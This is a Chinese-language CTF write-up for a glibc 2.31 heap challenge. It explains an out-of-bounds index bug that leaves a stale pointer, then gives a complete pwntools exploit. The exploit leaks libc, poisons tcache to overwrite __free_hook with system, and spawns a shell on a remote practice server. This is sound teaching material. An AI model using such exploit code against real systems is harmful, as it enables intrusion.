欸……RELRO一点没开,不是很常见
刚进去有一个无法反编译的部分。
去函数汇编窗口,函数上右键,编辑函数。
改一下end eddress。
然后就好了。
在bss上申请了一块空间,然后地址是+0x20。
功能1
就是申请空间,然后read输入,它限制了申请到的chunk不能小于chunk基地址。
限制到的应该就是我们不能去攻击tcache头部。
功能2
就是正常free。
edit
show
普普通通输出函数。
问题出在哪
size跟address的数组大小其实只有8,但是我们的序号可以一直写十个,那么就存在数组越界的问题。
怎么去利用这个 数组越界?
我们看到在free函数里面,free用的是局部变量,如果我们通过数组越界,将address改成一个数字,那么这个地方检查过不去,就会导致ptr指针没有被赋值,那么free的ptr里面还是旧指针,就会造成uaf。
我这里的思路是利用ptr里面残留数据,造成double free,来get shell。
用的是一个函数的数据,但是我看了官方exp,可以跨函数,free函数残留的数据用到了edit函数里面,也可以利用。都行。
然后发现libc不说2.27
那就用edit吧。
好吧 我看了它的附件 其实 是2.31.
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
r = remote("node4.buuoj.cn", "26061")
#r = process("./realNoOutput")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./64/libc-2.31.so")
def add(index, size, content):
r.sendline("1")
sleep(0.1)
r.sendline(str(index))
sleep(0.1)
r.sendline(str(size))
sleep(0.1)
r.sendline(content)
sleep(0.1)
def delete(index):
r.sendline("2")
sleep(0.1)
r.sendline(str(index))
sleep(0.1)
def edit(index, content):
r.sendline("3")
sleep(0.1)
r.sendline(str(index))
sleep(0.1)
r.sendline(content)
sleep(0.1)
def show(index):
r.sendline("4")
sleep(0.1)
r.sendline(str(index))
sleep(0.1)
for i in range(8):
add(i,0xf0,'aaa')
for i in range(7):
delete(7-i)
delete(0)
add(8,0x100,'aaa')
show(0) #利用的是delete残留的数据
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
add(7,0xf0,'aaa')
add(2,0x100,'aaa')
add(1,0x100,'aaa')
delete(2)
delete(1)
add(9,0x10,'aaa')
edit(1,p64(free_hook))
add(2,0x100,'/bin/sh\x00')
add(3,0x100,p64(system_addr))
delete(2)
r.interactive()